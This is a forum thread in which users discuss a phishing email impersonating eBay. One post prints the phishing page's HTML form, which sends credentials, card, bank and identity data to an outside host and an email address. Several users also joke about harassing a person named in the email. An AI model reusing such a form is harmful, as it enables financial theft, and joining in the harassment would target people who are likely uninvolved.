I didn't get this spam but if you did, forward the E-mail with the complete headers to spoof@ebay.com. And while you're at it, send it to send-us-news-tips@cnet.com too, because I'd be interested in reading how this pans out for once.

 

[SSibalNom]

lol im calling him now, bastard

edit: no one picked up

 

[packetslinger]

This is a joke. Right?

 

[SgtZulu]

Not a Hot Deal

 

[Shockazooloo]

I am gonna call him around 2AM - 6AM!

I already got his number in speed dial : )

you want a cracker for figuring that out sherlock??

this is useful information and could save you plenty of money if you were to fall ever fall for it.

yes it's obvious that this is a scam by just knowing ebay would ask for your information, they would never do that, but not everybody are fortunate to know so.

 

[willboxer]

btw. i've received a whole bunch of those ebay frauds, well 2 actually but i deleted both of them.

 

[Carnivore99]

A quick Google search reveals that Nick Fox runs an orchard in Wenatchee, WA, which employs up to 600 workers during the harvest season. Susan Fox might be a teacher at the local school.

Somehow I doubt these people are stupid enough to be responsible for this. More likely a disgruntled employee or student.

It's probably not fair to call and harass these people.

And yeah, it's not a hot deal.

and last time i checked, it's spelled Response.

possible scam, yeah?

 

[wallsfd949]

mozilla won't allow me to enter anything on that page. (not that I would)....

 

[vegetation]

These scammers really need to brush up on their writing skills if they want to convince more people!

 

[willboxer]

i decided to fill out the form

looks something like this...
"
Ebay User ID: f**kyou
Password: ihavetracedyourregistrationdownforthisdomain
Email address: f**kyou@f**kyou.com

Credit card/debit: 0187-0187-0187-0187
CVV Code: 187
.....etc.
"

well you get the idea.

 

[willboxer]

the email i received when i click on the link doesnt even open up a new page, and another funny thing was that i had already changed my email address a while back before that email was sent to me and i had verified the email address with ebay too, yet that stupid email was sent to my old email, gee the scammer fell into his own trap

 

[ivol07]

All the info is actually going to another domain. Cheapbnc.com. And it's also being emailed to prostexi@yahoo.com. Here's the code from the site.

<FORM method="POST" action="http://www.cheapbnc.com/cgi-bin/eo.cgi" onsubmit="return checkFields()" >
<INPUT TYPE="HIDDEN" NAME="data_order" VALUE="ebayid,ebaypass,emailid,ccnumber,month,year,cvv,ccholder,previousaddr1,streetaddr1,dayphone1,dayphone2,dayphone3,cityaddr,stateprovaddr,zipcodeaddr,countryaddr,firstname,middlename,lastname,bankcountry,bankname,bankroutingnumber,bankaccountnumber,bankaccountnumber2,ssn3,pin,mmn,dlnumber">
<INPUT TYPE="HIDDEN" NAME="submit_to" VALUE="prostexi@yahoo.com">
<INPUT TYPE="HIDDEN" NAME="ok_url" VALUE="http://www.ebay.com">

I hope the people hanging out in these forums are smart enough to know better. If not, lets hope they don't reproduce.
This info is about as useful as you.

That, or others are stupid enough to believe that's actually his real info. He can put down any name and address he wants.

 

[jrichrds]

How do these spammers get an e-mail list of eBay users anyways? Do they just spam a generic list and hope a bunch of them are eBay users? Or is eBay selling their mailing list to whoever pays up?

willboxer, I hate to break it to you, SgtZulu and AmericasTeam are (IMO) right. This is a hot deals forum. Not a scam alert forum.
The proper place for this post is in the off-topic forum, because as I said out, it is not on topic for this forum, it is off-topic.
Hot Deals means just that and only that, HOT DEALS, not "scam alerts" not "Cold Deals".
I see neither anything hot, or any sort of deal here, not even the culmination of the two words.

I will throw a 5-keg party the mods decide to start closing up scam threads and cold deals, because I truly believe that they have no place in this forum. If they think differently, great. But I think am always welcome to post my opinion about it as I am now, so I will.

When you first register for ebay, paypal, and nearly every other service on the internet, they always send you an email saying something along the lines of "We will never ask you for your password or other information via email, EVER." and "always make sure you are at www.ebay.com when you are editing any information. Additionally, they go on to say that if you have any doubt in your mind about this, you should read the ebay help, which will explain scams like this in detail so that you don't fall for them. I won't go as far as to say that people DESERVE to get scammed, because that's just wrong, but I will say that if they DO get scammed, it's their own fault for not paying attention, even more so because of the fact that their credit card number is involved. Hey, if you don't have a problem giving your credit card number to people you have never met, go ahead and post it and I'm sure we'll show you why that's a bad idea. People who fall for this scam are STUPID for blindly trusting someone will access to their finances.

So that brings me to another point. If someone doesn't bother to take the time reading what ebay has told them, why do you think they would bother reading it here? What I'm trying to say is that all of this information has already been given to them, LONG BEFORE this scam even popped up in your inbox. People everywhere get scams every day in their email. If everyone posted them, we would have to search this forum far and wide to find the deals. As much as I appreciate the thought of members trying to help people out, this is NOT the place to do it. This post IS off-topic and BELONGS in the off-topic forum. Just because everyone doesn't read OT doesn't mean that you should still alert people here. There are often very informative posts in OT, but you don't think that someone should post them here because the people who only visit HD might miss them, do you?

Finally, the biggest point: Adding threads like this bump the threads with legit good deals more towards the bottom, and people might miss them.

 

[willboxer]

keyword is IMO

 

[Horsep0wer]

people are so anal about the stupidest things. some will find any reason to bitch, moan and whine.

Thanks for sharing your wisdom. Me I would read the title and if does not interest me then move on.
